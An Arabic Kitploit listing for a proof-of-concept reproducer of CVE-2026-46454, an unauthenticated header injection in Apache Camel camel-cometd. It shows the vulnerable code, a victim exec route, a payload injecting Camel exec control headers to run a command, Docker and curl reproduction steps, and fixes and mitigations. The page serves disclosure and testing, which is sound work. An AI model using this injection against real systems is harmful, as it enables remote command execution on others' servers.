Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-46454 — مستنسخ لـ CVE-2026-46454 — Apache Camel camel-cometd حقن رأس Bayeux الوارد (حقن رأس تحكم Camel غير مصدق → توجيه المنتج النهائي / تنفيذ تعليمات برمجية عن بعد) | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-46454
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHuboscerd/cve-2026-46454

CVE-2026-46454

مستنسخ لـ CVE-2026-46454 — Apache Camel camel-cometd حقن رأس Bayeux الوارد (حقن رأس تحكم Camel غير مصدق → توجيه المنتج النهائي / تنفيذ تعليمات برمجية عن بعد)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

أداة إعادة إنتاج حقن رأس Bayeux الوارد لـ camel-cometd (CVE-2026-46454)

يوضح هذا المشروع حقن رأس الرسالة في مكوّن camel-cometd الخاص بـ Apache Camel، والذي يُتَتَبَّع باسم CVE-2026-46454. يقوم المكوّن بتعيين رؤوس رسائل Bayeux (CometD) الواردة إلى Camel Exchange بدون HeaderFilterStrategy. تقوم الدالة CometdBinding.createCamelMessage بنسخ خريطة ext.CamelHeaders بأكملها التي يقدمها عميل CometD مباشرة إلى رسالة Camel (message.setHeaders(...))، وبالتالي يتم قبول أي اسم رأس — بما في ذلك رؤوس التحكم الداخلية لـ Camel مثل CamelHttpUri و CamelFileName و CamelJmsDestinationName (أو، كما هنا، رؤوس التحكم camel-exec) — دون تعديل. نظرًا لأن لا يقوم بتثبيت ، فإن أي عميل يمكنه إكمال المصافحة (handshake) مع Bayeux يمكنه نشر مثل هذه الرسالة وتوجيه المنتجين النهائيين (downstream producers) في المسار.

CometdComponent
أي SecurityPolicy لـ Bayeux بشكل افتراضي
بدون مصادقة

إعلان أمني: https://camel.apache.org/security/CVE-2026-46454.html

ملخص الثغرة الأمنية

الخاصيةالقيمة
المكوّنcamel-cometd
الفئة المتأثرةorg.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...))
CWECWE-20: التحقق غير السليم من الإدخال
التأثيرحقن غير مصادق عليه لرؤوس التحكم في Camel → توجيه المنتجين النهائيين (تنفيذ تعليمات برمجية عن بُعد عبر exec هنا)
الإصدارات المتأثرةFrom 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0
الإصدارات المُصلحة4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23507
المُبلّغYu Bao (PayPal)

نفس عائلة حقن الرؤوس مثل CVE-2025-27636 و CVE-2025-29891 و CVE-2025-30177 و CVE-2026-40453 و CVE-2026-47323 — المكوّنات التي تقوم بتعيين الرؤوس الواردة إلى Exchange بدون تصفية مساحة الاسم Camel.

التفاصيل الفنية

root@kitploit:~
// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage);   // reads client-supplied ext.CamelHeaders
if (headers != null) {
    message.setHeaders(headers);                                      // <-- no HeaderFilterStrategy
}

يتحكم العميل في ext.CamelHeaders، لذا يمكنه تعيين أي رأس تحكم Camel على Exchange. يقوم الإصلاح (4.14.8 / 4.18.3 / 4.21.0) بتنفيذ HeaderFilterStrategy (مهمة TODO طويلة الأمد في الكود) والتي تقوم بتصفية مساحة الاسم Camel* / camel* بشكل غير حساس لحالة الأحرف عند التعيين الوارد.

المسار الضحية (Victim route)

root@kitploit:~
from("cometd://0.0.0.0:8088/service/inject")
    .to("exec:echo?args=hello");     // route author only intends to run: echo hello

ينشر المهاجم إلى /service/inject مع ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }; يقوم الربط (binding) بتعيينها على Exchange ويقوم منتج exec بتشغيل أمر المهاجم بدلاً من ذلك.

تخطيط المستودع

مكتفٍ ذاتيًا: يقوم مستهلك camel-cometd بتشغيل خادم Bayeux مضمن (المنفذ 8088) داخل التطبيق، ويعمل نقطة النهاية /exploit/attack كعميل CometD غير مصادق عليه.

root@kitploit:~
CVE-2026-46454/
├── pom.xml                 # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # from("cometd://.../service/inject").to("exec:echo")
    │   └── ExploitController.java  # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
    └── resources/
        └── application.properties

المتطلبات الأساسية

  • Java 17+ و Maven 3.8+
  • Docker (يقوم بتشغيل أداة إعادة الإنتاج)

خطوات إعادة الإنتاج

الخطوة 1: بناء وبدء الحاوية

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

الخطوة 2: تشغيل حقن الرأس (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
#    The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
#    >>> RCE proof — /tmp/pwned exists: true

الخطوة 3: التحقق

root@kitploit:~
docker exec cve-2026-46454 ls -la /tmp/pwned

التنظيف

root@kitploit:~
docker compose down

متجهات الهجوم

أي مسار يحتوي على مستهلك camel-cometd يغذي منتجًا نهائيًا يتم التحكم في سلوكه بواسطة رؤوس Camel — منتج HTTP (CamelHttpUri)، منتج ملفات (CamelFileName)، منتج JMS (CamelJmsDestinationName)، منتج exec (CamelExecCommand*)، إلخ. أي عميل يمكنه إجراء المصافحة مع نقطة نهاية Bayeux يمكنه حقنها؛ لا يلزم مصادقة بشكل افتراضي. تستمر الرؤوس المحقونة عبر القفزات الداخلية direct و seda و vm.

شروط الاستغلال

  1. مستهلك camel-cometd على إصدار متأثر، موجه إلى منتج يمكن التحكم في رؤوسه.
  2. لا يوجد SecurityPolicy لـ Bayeux على CometdComponent (الافتراضي)، لذا يمكن لأي عميل النشر.

الإصلاح الموصى به

الترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507)، والذي يضيف HeaderFilterStrategy إلى ربط cometd الذي يمنع رؤوس Camel* / camel* المقدمة من العميل عند التعيين الوارد.

التخفيف

حتى الترقية:

  1. إزالة رؤوس التحكم في Camel في بداية المسار: .removeHeaders("Camel*") و .removeHeaders("camel*").
  2. تثبيت SecurityPolicy صريح لـ Bayeux على CometdComponent بحيث يمكن للعملاء الموثوقين فقط النشر.

إخلاء مسؤولية

يتم توفير أداة إعادة الإنتاج هذه لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة أمنية تم الكشف عنها وإصلاحها علنًا. لا تستخدمها ضد أنظمة دون إذن صريح.

تنزيل الأداة